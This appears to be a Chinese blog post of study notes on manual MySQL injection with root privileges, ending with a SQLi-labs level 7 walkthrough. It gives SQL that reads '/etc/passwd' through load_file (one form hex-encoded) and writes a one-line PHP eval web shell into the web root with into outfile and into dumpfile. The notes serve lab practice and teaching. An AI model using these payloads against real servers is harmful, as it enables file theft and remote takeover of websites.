• MySQL手注之ROOT权限处理


    读写操作需要的条件

    正常条件

    • 当前连接到数据库的用户是ROOT权限
    • 网站物路径(可以用报错、phpinfo页面、猜、爆破)

    版本条件

    • 5.5.53之前:secure_file_priv变量默认为空,所以默认情况下是可以直接通过SQL语句来导出文件的
    • 高于5.5:secure_file_priv的值为null,表示不允许导入导出;为/tmp/表示导入导出只能发身在/tmp/目录下;没有具体值时,即' ',表示不对mysql的导入导出做限制

    查看secure-file-priv参数的值

    show global variables like '%secure%'

    MySQL读文件

    函数load_file()

    • select load_file('/etc/passwd');
    • select load_file(0x2f6574632f706173737764);

    MySQL写文件

    into outfile函数

    直接将一句话木马写入

    • 写文件是会在每一行的结束自动加上换行符
    • select '' into outfile '/var/www/html/muma.php';

    设置字符

    select * from tdb_goods where godds_id=1 into outfile "/var/www/html/muma.php" lines starting by '<?php @eval($_POST[pass])?>'

    1. LINES STARTING BY '写入的内容'
    • 设置每行数据开头的字符,可以为单个或多个字符,默认不适用任何字符

    2.LINES TERMINATED BY '写入的内同'

    • 设置每行数据结尾的字符,默认值是" "

    into dumpfile函数

    • 写文件会保持文件得到原生内容,这种方式是对二进制文件是最好的选择
    • select '' into dumpfile '/var/www/html/muma.php';

    SQLI_labs_第7关

    先判断是否存在注入点

    1.想办法让页面出错

    2.构造正确逻辑,使页面返回正常内容

    出错后,我们将单引号去掉(第1步通过'让页面报错,而这里又报错,说明参数并不是字符型)

    3.构造错误逻辑,页面会什么也不显示

    通过第三步的结果,充分说明,我前两部是错的。再来

    先判断是否存在注入点(第二次)

    分析
    首先第一次的第一步,用'导致了报错,这说明对方闭合的末尾肯定是'
    2.构造正确逻辑,返回正确结果
    第一次的第二步 是因为‘存在报错了,认为参数是数字型,目前来看参数不是数字型,参数的闭合还有()存在的可能性

    这里的时候,我在网上找了教程,会发现自己错了两个地方:1、括号是在引号之后 2、两个))

    3. 构造错误逻辑,页面不显示

    但是这里报错了


    尝试是否可以插入文件


    结果告诉我们上传的语法有错误。但是我们去访问我们上传的文件是可以访问到的。 (这也侧面说明检测注入点第三步,逻辑错误语法正确,页面报语法错误)

    上传一句话木马


    通过访问我们上传的路径,可以访问,说明是上传成功了

  • 相关阅读:
    shell
    RANDOM随机数
    docker网络管理
    Oracle-28001密码过期问题及28000账户被锁解决
    Oracle数据泵导入导出(expdb/impdb)
    mysql多实例部署
    sed命令基本使用
    MySQL5.7.x二进制安装
    每日日报
    每日日报
  • 原文地址:https://www.cnblogs.com/ceiling-/p/14410867.html
Copyright © 2020-2023  润新知